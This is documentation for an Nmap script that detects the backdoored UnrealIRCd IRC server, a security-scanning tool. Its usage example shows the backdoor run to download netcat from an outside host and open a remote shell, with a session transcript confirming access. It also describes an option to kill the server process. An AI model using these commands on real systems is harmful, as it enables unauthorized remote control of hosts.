Checks if an IRC server is backdoored by running a time-based command (ping) and checking how long it takes to respond.
irc-unrealircd-backdoor.command script argument can be used to
run an arbitrary command on the remote system. Because of the nature of
this vulnerability (the output is never returned) we have no way of
getting the output of the command. It can, however, be used to start a
netcat listener as demonstrated here:
$ nmap -d -p6667 --script=irc-unrealircd-backdoor.nse --script-args=irc-unrealircd-backdoor.command='wget http://www.javaop.com/~ron/tmp/nc && chmod +x ./nc && ./nc -l -p 4444 -e /bin/sh' <target> $ ncat -vv localhost 4444 Ncat: Version 5.30BETA1 ( http://nmap.org/ncat ) Ncat: Connected to 127.0.0.1:4444. pwd /home/ron/downloads/Unreal3.2-bad whoami ron
Metasploit can also be used to exploit this vulnerability.
In addition to running arbitrary commands, the
irc-unrealircd-backdoor.kill script argument can be passed, which
simply kills the UnrealIRCd process.
If set to
true, kill the backdoored UnrealIRCd running.
Wait time in seconds before executing the check. This is recommended to set for more reliable check (100 is good value).
An arbitrary command to run on the remote system (note, however, that you won't see the output of your command). This will always be attempted, even if the host isn't vulnerable. The pattern
%IP% will be replaced with the ip address of the target host.
unittest.runSee the documentation for the unittest library.
nmap -sV --script=irc-unrealircd-backdoor <target>
PORT STATE SERVICE 6667/tcp open irc |_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
Author: Vlatko Kosturjak, Ron Bowes
License: Same as Nmap--See http://nmap.org/book/man-legal.html